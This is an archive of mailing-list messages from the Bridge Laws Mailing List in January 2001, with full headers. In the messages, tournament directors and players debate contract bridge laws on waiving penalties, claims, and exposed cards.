bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Cap Gemini shows the way Reply-To: blml@farebrother.cx In-reply-to: <000a01c08973$83ffd600$0200000a@mindspring.com> References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <004401c08968$1f2b2820$3901ff3e@vnmvhhid> <000a01c08973$83ffd600$0200000a@mindspring.com> Date: Mon, 29 Jan 2001 15:23:11 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On 28 January 2001 at 16:44, "Hirsch Davis" wrote: >I don't find the behavior inexcusable, nor do I think the players were >trying to place themselves above the law. They were simply trying to >win by virtue of their skill at the table, as opposed to winning via a >legal technicality. > The problem is that there is a legal way to (at least attempt to) do this. The bulletin says: "players would not call the director, but rather invite their opponents to correct the revoke and waive the penalty card." This, as everyone is saying, is wrong. However, "players would call the director, and invite her to allow the opponents to correct the revoke and waive the penalty card." I, as always, CBW, but I can't think of a TD (that has a copy of the FLB in her hand, or otherwise knows of L81C8) that would not allow this (now, if it had been an *established* revoke, that would be another question entirely). Maybe I'm just innocent. There. Sportsmanship satisfied, results from skill rather than Law penalties (and I can't believe the MPC part of an unestablished revoke is a "technicality" - it's there for a reason, and it's a good and sufficient reason), and yet, there is a good example for the Public, rather than a "the best thing to do is ignore the Laws" example. Simple. Others have commented on the dissection of L81C8, so I shall not (as I have nothing to add to that part of the discussion). Regular readers of this list know that I am quite a fan of this Law, and would wish it more publicised among the bridge public (we might get a lot fewer "oh, just let it go" comments here in the ACBL, even from good players, if they knew that they were allowed to call the TD and ask to "just let it go". And this way, the offenders learn that what they did was wrong, and has a penalty, and the other side is being nice; rather than the current situation, where they don't learn that they are doing something wrong until some puckerbutt brings it up at, say, a Grand National Teams qualifier, and expects the Laws to be followed, whereupon they grumble about the nasty man treating them unfairly. No, I don't have a specific example in mind, why do you ask? :-) I have attempted to invoke L81C8 in my memory 3 times, each time successfully, and each time my intent was to point out a potential infraction of system regulations (one was a newly-Canadian Polish pair playing Wilkosz 2D in a GCC event, one was playing odd-even signals (in the ACBL, dual-message carding strategies are only allowed on the first discard), and the other one I can't remember) - I have and had no problem playing against these, I am in favour of loosening of system regulations, but I was hoping to avoid a scene when they hit someone less interested in that part of bridge than I. I don't, and probably would never, waive an MPC; but I don't "pick it up" when declarer tells me to, either. I also make sure that declarer knows his options when I have an MPC and partner is on lead, and have allowed 0% contracts to make because of it. Yes, I'm inconsistent, but at least I'm consistent in my inconsistency :-). Oh dear, I guess I'm not. There's a woman of very bad eyesight at the club. She gets her cards sorted by the previous holders, but they sometimes forget (and it doesn't help on the first round, of course). If she revoked, and she told me her cards weren't sorted, I'd probably ask to waive the penalty. Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 07:24:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TKO9Z16777 for bridge-laws-outgoing; Tue, 30 Jan 2001 07:24:09 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TKO2t16736 for ; Tue, 30 Jan 2001 07:24:03 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id PAA13370 for ; Mon, 29 Jan 2001 15:29:39 -0500 (EST) Message-Id: <200101292029.PAA13370@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Cap Gemini shows the way Reply-To: blml@farebrother.cx In-reply-to: <67378DEA146DD21194C20000F87B08BA01B8B799@fdwag002s.fd.agro.nl> References: <67378DEA146DD21194C20000F87B08BA01B8B799@fdwag002s.fd.agro.nl> Date: Mon, 29 Jan 2001 15:29:39 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On 29 January 2001 at 9:15, "Kooijman, A." wrote: > >What coincidence, I was a TD in this event. And I was not at the table when >it happened (weren't I?). It probably wouldn't have happened had I been >there, so I am to blame. > Thanks for the direct admission. We all know, however, that you can't be everywhere, and this sort of thing is going to happen sometime. I agree with those who have stated that the proper response to this (if anyone had caught the publication before the end of the tournament) is a small article in a future bulletin explaining the "right way to do this". Pour n'encourager pas les autres, so to speak. >My experience is that journalists tend to have these kind of ideas, >presuming that the sponsor is pleased by their description of kindness and >sportmanship shown by the players. > Grumble. :-) >Grattan wrote: 'Unusual for a couple of comedians to sponsor a bridge >tournament' and had the aforism: 'Speak when you are angry and you'll make >the best speech you'll ever regret'. > >I consider Cap Gemini as a very serious sponsor. Was Grattan that angry? > I believe he was referring to that great comedy team of David Ernst and Rolly Young. :-) > >To show that most of it is taken seriously I can tell you that we had two >appeals, quite interesting even. If time permits I'll show them. > Please do. I went looking for appeals in the bulletins (ok, so I find them more interesting than the bridge commentary. No hope of me ever being a great bridge player, I guess)... Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 07:49:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TKmcF17493 for bridge-laws-outgoing; Tue, 30 Jan 2001 07:48:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from rhea.worldonline.nl (rhea.worldonline.nl [195.241.48.139]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TKmWt17489 for ; Tue, 30 Jan 2001 07:48:32 +1100 (EST) Received: from kooijman (vp180-204.worldonline.nl [195.241.180.204]) by rhea.worldonline.nl (Postfix) with SMTP id E581636E8F; Mon, 29 Jan 2001 21:48:26 +0100 (MET) Message-ID: <00fd01c08a34$b6222f40$8fb4f1c3@kooijman> From: "ton kooijman" To: "BLML" , "Grant Sterling" Subject: Re: [BLML] Cap Gemini shows the way Date: Mon, 29 Jan 2001 21:43:32 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >>> >>> Of course it would. If this is how the law is to be applied, then >>>by all means let us delete this law from the books. Obviously, by >>definition, >>>any "penalty" _COULD_ have an effect on some other pair's chance of winning >>>or losing the contest. Ergo, it would be impossible for a TD to ever waive >>>a penalty, at least in a pairs competition. >> >>AG : the players may not waive penalties. If they did so, and if it >>influenced any result, they are penalized for not having played the game as >>it should be (L72A1). But the TD, whose job is, among others, to restore >>equity whenever possible, may consider it more equitable to waive the >>penalty if suggested. The 'effect on other pairs' is not the first concern. >>Equity is. But the players do not have the right to try and decide what is >>equitable or not. > > I agree completely. But others in this list, including [as I read >his post] Grattan, seem to be saying that if the waiver could have an >effect on other pairs the TD must not grant the waiver. With which I agree completely. ton So, I repeat, >_if this is how the law is to be applied_ we would be better off deleting >it. Which seems a good suggestion to me. Any TD who wants to waive will do so without bothering about a lawbook. Still residues from nice clubholders who need to keep their customers in peace and paying. . ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 07:55:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TKtG417506 for bridge-laws-outgoing; Tue, 30 Jan 2001 07:55:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-2.cais.net (stmpy-2.cais.net [205.252.14.72]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TKtAt17502 for ; Tue, 30 Jan 2001 07:55:11 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-2.cais.net (8.11.1/8.11.1) with ESMTP id f0TKt6185457 for ; Mon, 29 Jan 2001 15:55:06 -0500 (EST) Message-Id: <4.3.2.7.1.20010129154531.00b356a0@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 29 Jan 2001 15:55:32 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Claim? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:26 AM 1/29/01, twm wrote: >Eric Landau wrote: > > > Last night I played with an inexperienced partner at a local > > duplicate. We bid to 5C on xxx/Ax/AKx/Kxxxx opposite > > QJxx/-/xxx/Axxxxx. LHO lead HK. On putting down the dummy, partner > > said "I hope I didn't bid too much, partner" and I replied "Don't > > worry, we're going to make five" (neither intended nor taken by anyone > > at the table as a claim). I pitched a diamond, won HA, drew trumps > and > > stripped the red suits. Down to xxx/-/-/xx opposite QJxx/-/-/x, I led > > a spade toward dummy, said "jack", faced my hand, and said "making > >I hope you waited until LHO had played small! I did. > > five" (now THAT was a claim). RHO, holding SAK10, looked at dummy for > > 10-15 seconds, said "I see, if I don't take my second spade now I'll > > have to give you a ruff-sluff," and folded his cards. > > > > Now suppose my RHO had been one of those mean nasty BLs, and had > called > > the TD at my first comment, insisting I had claimed. I guarantee that > > the TD would have allowed me to explain my (rather obvious) line and > > would NOT have ruled down one, as he would have (correctly) had I, in > > his opinion, claimed at trick one without stating a line of play. > >If you claim at trick one with "making 5" I do not see how the TD could >award down 1. Obviously you are aware of outstanding trumps and there is >no line consistent with your statement that gives other than 11 tricks >regardless of the position opposing cards (bar an 11-0 heart split). >I would expect any TD to request your clarification statement and accept >it. As TD I would also give you a PPw for claiming in a manner >inappropriate to the opponents you were facing (there are perhaps 5 >members of my club against whom I could make such a claim without them >being confused to start with). Tim is apparently a bit more lenient than I am. Had I been ruling on an intended claim at trick one, I would have allowed declarer to draw trumps, but would have ruled that it was COIBNI ("careless or inferior, but not irrational") to lead up to the SQJxx twice without stripping the hand first. This, IMO, is consistent with my position in the KQ10x opposite A9xx thread (which I have no wish to reopen), in which I was in the group that argued that playing the A first would be COIBNI, even for a player of my own (ahem) exalted level. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 08:18:51 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TLIKT17553 for bridge-laws-outgoing; Tue, 30 Jan 2001 08:18:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TLIDt17549 for ; Tue, 30 Jan 2001 08:18:14 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id QAA14639 for ; Mon, 29 Jan 2001 16:23:50 -0500 (EST) Message-Id: <200101292123.QAA14639@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Purpose of BLML (was Exposed Card before auction begins (?) Reply-To: blml@farebrother.cx In-reply-to: References: <033d01c0875a$746bc480$9a9c1e18@san.rr.com> Date: Mon, 29 Jan 2001 16:23:50 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On 26 January 2001 at 15:45, David Stevenson wrote: >Marvin L. French writes >>From: "David Stevenson" >>> >>> What we used to do here was to come to a reasonable consensus. >> >>When I first came on BLML, I thought the goal was to find a reasonable >>consensus. No, I was told, not true. The job of BLML is to discuss, not to >>reach a consensus. Guess who told me that. > > Well, if it was me, I don't agree with myself. > It was you. I remember this, several times. However, what I believe you meant was "our job is not to reach a consensus that can be taken to the ACBL LC (or any other governing body) and used as a bargaining chip", which is what Marvin appeared to be trying to be doing when these comments were generated. I am pleased that there are people of stature and importance in the Law-making and Law-giving community who listen to, and sometimes join in, our discussions. I am also pleased that some of our concerns get taken seriously enough by those people that they are brought up at the official meetings and get resolved. I am also pleased that others of our concerns are treated as the sophistry that they are, and ignored by those in power :-). Not that I'm panning the sophistry, provided it isn't being used as a retreat tactic. It's quite fun to play "extreme literalist" and see what happens; it's fun (for me, anyway) to read those discussions; and sometimes discussions that start out purely as sophistry find real, dangerous holes in the Laws (and sometimes we find out the thoughts of the framers of those Laws). It has been said (or at least reported to have been said) that BLML is considered a bunch of nit-pickers with nothing good to say about anyone and that the few nuggets worth considering are drowned in the petty bickering (not amongst ourselves, strangely enough, but on the exact wording of things or overblown arguments against regulations considered stupid by the poster). And that this has sent people away, people who can change things. I haven't heard this for about a year - has it got better, or have all the go/no-go decisions been irrevocably made? BLML isn't, and IMO should never be allowed to be, a body with power. If, however, it is treated as it is, a place where sometimes, real concerns come up, and where places in the Laws where bridge players, directors, and organizers at all levels can form conflicting, reasonable views (and therefore, where the wording of the Laws or regulations should be looked at, or an explanatory note published), and as a place where, occasionally, a few attaboy!s are handed out in addition to the brickbats (again, by people of all levels in the bridge hierarchies), I think we're good for Bridge. Not that that's why I'm here - it's good for me, too. And the concept of being "Grattan's notebook" amuses me - but by being so, we have already done some good for Bridge, and will do more. Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 09:17:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TMFEo00113 for bridge-laws-outgoing; Tue, 30 Jan 2001 09:15:14 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TMF7t00071 for ; Tue, 30 Jan 2001 09:15:08 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id RAA16214 for ; Mon, 29 Jan 2001 17:20:44 -0500 (EST) Message-Id: <200101292220.RAA16214@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? Reply-To: blml@farebrother.cx In-reply-to: <4.3.2.7.1.20010129104153.00a9a7b0@127.0.0.1> References: <4.3.2.7.1.20010129104153.00a9a7b0@127.0.0.1> Date: Mon, 29 Jan 2001 17:20:43 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On 29 January 2001 at 11:21, Eric Landau wrote: >If this >debate has generated some heat between the literalists and those who >believe that the literalists are Draconian Fascists, it is because some >of us are naturally reluctant, as working TDs, to tell our players, >"Well, of course we know you meant [the former], but the law requires >me to hold you to [the latter]." > I believe that most of us are reluctant so to do, even some of us literalist Draconian Fascists. As I have said before, my ruling would definately include a subtle(?) plea to be asked to waive the penalty - unless, of course, declarer was making his statement for im-Proper purposes. It would also include a warning about such statements, and the reason why such statements are to be treated as [the latter]. I have also heard the +=+ opinion of GE +=+ that the change in wording in the 1997 laws was deliberate and for a specific purpose. I believe that the only concensus we can actually draw from BLML is that the Law, as reworded, has some unintended concequences that make it unreasonable, and we hope it is looked at again at the next opportunity, perhaps to generate a Law statement that is consistent with what the Lawmakers wished to curb with this rewording, while avoiding the concequences. I also think (and have said before) that this Law, applied literally a few times to the more egregious tongue-flapping declarers, would curb some of the more revolting (non-claim) statements of theirs. *Those* unintended concequences I would accept, if it weren't for the fact that there are others I would prefer not to accept. Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 09:24:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TMNm203152 for bridge-laws-outgoing; Tue, 30 Jan 2001 09:23:48 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TMNat03095 for ; Tue, 30 Jan 2001 09:23:37 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id RAA16410 for ; Mon, 29 Jan 2001 17:29:13 -0500 (EST) Message-Id: <200101292229.RAA16410@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? Reply-To: blml@farebrother.cx In-reply-to: <4.3.2.7.1.20010129115341.00b38da0@127.0.0.1> References: <01a201c087e2$3e3e41c0$7ae2f1c3@default> <4.3.2.7.1.20010129115341.00b38da0@127.0.0.1> Date: Mon, 29 Jan 2001 17:29:12 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On 29 January 2001 at 11:56, Eric Landau wrote: >At 01:04 AM 1/28/01, Marvin wrote: > >> > I would expect "we are going to make twelve tricks!" to be rather >>more >> > decisive than "we can make twelve tricks.", but do you native >>English >> > speaking gentlemen feel that way about it ? >> >>Yes. But both are statements "to the effect" that a specific number >>of tricks will be won, making both claims. > >I can kill a cat with one hand. Have I just made a statement to the >effect that I will do so? > Depends on context. If you were to state that in a situation where such a statement frequently means that one will do so, then I believe you shouldn't be too put out when someone assumes that that's what you meant when you said it. Unfortunately, that's what all your English teachers back in school were trying to avoid having happen to the English classes by insisting you not use "can" where "may" was what you meant, and all those other hobgoblins (to quote my favourite book on the subject). They failed. At the table, "Idiot, why didn't you put me in slam? I can make twelve tricks!" (ok, so the first word is usually "Partner", but it means the same thing in context :-) frequently suffers no change in meaning if the word "can" was to be replaced by "will". In the bar, "you can make twelve tricks" means "I've found a line I would never have thought of at the table that makes twelve, and I expect you to have found it at the table." Not the same thing at all. Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 09:24:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TMO0403215 for bridge-laws-outgoing; Tue, 30 Jan 2001 09:24:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TMNqt03178 for ; Tue, 30 Jan 2001 09:23:53 +1100 (EST) Received: from dodona (host213-123-50-248.dialup.lineone.co.uk [213.123.50.248]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id WAA03279; Mon, 29 Jan 2001 22:23:25 GMT Message-ID: <001a01c08a42$6b50b5a0$f8327bd5@dodona> From: "Grattan Endicott" To: , References: <3.0.6.32.20010126112317.00838c00@pop.ulb.ac.be> <002a01c087cc$63187800$9a9c1e18@san.rr.com> <045a01c088ce$ad7154a0$9d391dc2@rabbit> <200101291941.OAA12099@calum.csclub.uwaterloo.ca> Subject: Re: [BLML] WBF Systems Policy Date: Mon, 29 Jan 2001 22:24:51 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "Speak when you are angry - and you'll make the best speech you'll ever regret." [L.J. Peter] <=====> ----- Original Message ----- From: Michael Farebrother To: Sent: Monday, January 29, 2001 7:41 PM Subject: Re: [BLML] WBF Systems Policy > However, this response does raise a quesiont for me, which I would ask those more experiened with WBF regulations: The wording seems to carefully avoid mention of "non-weak, non-strong" hands (the ones between average and a king above average). Am I right in ruling the first of Thomas' examples (with the potential of 8-12, both minors) not BSC, because although it contains a "non-weak, non-strong" potential meaning, it matches an anchor suit with the weak meaning; or is the meaning of the exception attempting to make all two-way bids "either weak or strong"? > > Michael. > -- +=+ I was involved in the original discussions with Edgar Kaplan, Karl Rohan and others. A conventional opening where one or more of the variations was weak, and had alternative possibilities, was considered to need strong opening hands amongst its potential meanings in order to put pressure on the user not to take random destructive action. Average opening strength was not seen as sufficient to achieve this objective - it needed to involve stronger hands. Hence the regulation skipped the middle ground. I cannot really say whether the present Systems Committee, having been much influenced by Kokish and Martel, is still of the same mind. ~ Grattan ~ +=+ > ==================================================================== ==== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 09:25:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TMOcP03389 for bridge-laws-outgoing; Tue, 30 Jan 2001 09:24:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TMOKt03313 for ; Tue, 30 Jan 2001 09:24:21 +1100 (EST) Received: from dodona (host213-123-50-248.dialup.lineone.co.uk [213.123.50.248]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id WAA03226; Mon, 29 Jan 2001 22:23:23 GMT Message-ID: <001901c08a42$6a4d4f60$f8327bd5@dodona> From: "Grattan Endicott" To: "ton kooijman" , "BLML" , "Grant Sterling" References: <00fd01c08a34$b6222f40$8fb4f1c3@kooijman> Subject: Re: [BLML] Cap Gemini shows the way Date: Mon, 29 Jan 2001 22:11:11 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "Speak when you are angry - and you'll make the best speech you'll ever regret." [L.J. Peter] <=====> ----- Original Message ----- From: ton kooijman To: BLML ; Grant Sterling Sent: Monday, January 29, 2001 8:43 PM Subject: Re: [BLML] Cap Gemini shows the way > > I agree completely. But others in this list, including [as I read > >his post] Grattan, seem to be saying that if the waiver could have an > >effect on other pairs the TD must not grant the waiver. > > > With which I agree completely. > > ton > +=+ Yes. If it is head to head match and they want to waive the penalty so be it. But if it is an event with a field of contestants that must be finally ranked, then the consideration applies. ~ G ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 09:36:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TMa6b07427 for bridge-laws-outgoing; Tue, 30 Jan 2001 09:36:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from psa836.la.asu.edu (root@psa836.la.asu.edu [129.219.44.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TMZwt07386 for ; Tue, 30 Jan 2001 09:35:59 +1100 (EST) Received: from localhost (localhost [[UNIX: localhost]]) by psa836.la.asu.edu (8.10.2/8.10.2) id f0TFkMH02859; Mon, 29 Jan 2001 15:46:22 GMT From: David J Grabiner Organization: Arizona State University Mathematics Departmentt To: "Nelson/Kay Ford" , , "Bridge Laws" Subject: Re: [BLML] Claim? Date: Mon, 29 Jan 2001 15:43:19 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: <001901c0892c$5eb28ce0$1ec188d1@kay> In-Reply-To: <001901c0892c$5eb28ce0$1ec188d1@kay> MIME-Version: 1.0 Message-Id: <01012915462202.02706@psa836> Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Sun, 28 Jan 2001, Nelson/Kay Ford wrote: > A couple of weeks ago, a player meant to bid 2C, but > her brain short-circuited and she pulled the 2C card out > of her hand instead of pulling the 2C bid card out of the > bidding box. > > Now the question is whether that is still a minor penalty > card. It wasn't "accidentally" exposed, but it wasn't being > led either. I don't think that the Laws anticipated this. This happened to me once as well; my opponent bid the two of spades. The TD ruled that the S2 was not prematurely led, and therefore offender's partner was not barred. However, at the end of the auction, it had been deliberately exposed, since she intended to put the S2 on the table. It was therefore a major penalty card; since offender was on lead, it became the opening lead. -- Sincerely, David Grabiner, grabiner@math.la.asu.edu Department of Mathematics, Arizona State University, Tempe, AZ 85287-1804 http://math.la.asu.edu/~grabiner Phone: (480)965-3745 (work), (480)517-1674 (home). Fax: (480)965-8119. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 09:37:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TMbbH07904 for bridge-laws-outgoing; Tue, 30 Jan 2001 09:37:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TMbSt07862 for ; Tue, 30 Jan 2001 09:37:28 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id RAA16802 for ; Mon, 29 Jan 2001 17:43:05 -0500 (EST) Message-Id: <200101292243.RAA16802@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: [BLML] L10 Suggestion Reply-To: blml@farebrother.cx Date: Mon, 29 Jan 2001 17:43:04 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I've been reading L10 again, because of our discussions centering on L81C8. In particular, someone mentioned that it would be better if a player's right were defined somewhere other than the section labelled "Tournament Director". L10A: The Director alone has the right to assess penalties when applicable. Players do not have the right to assess (or waive) penalties on their own initiative. Note the parenthetical (or waive). It seems, without context, to make no sense, because nothing in the rest of the statement talks about waiving penalties, nor is there any statement anywhere near L10A that discusses the fact that anybody has the right to waive penalties at all. Now, we all know that this is a reference to L81C8, but we RTFLB Too F Often For Our Own Good. Why not make it explicit? L10A Right to Assess or Waive Penalty The Director alone has the right to assess penalties when applicable. Players do not have the right to assess penalties on their own initiative, nor do the right to waive them (but they may request that the Director do so, see L81C8). Just a thought. Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 09:50:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TMoKC12051 for bridge-laws-outgoing; Tue, 30 Jan 2001 09:50:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtppop2pub.verizon.net (smtppop2pub.gte.net [206.46.170.21]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TMoDt12006 for ; Tue, 30 Jan 2001 09:50:13 +1100 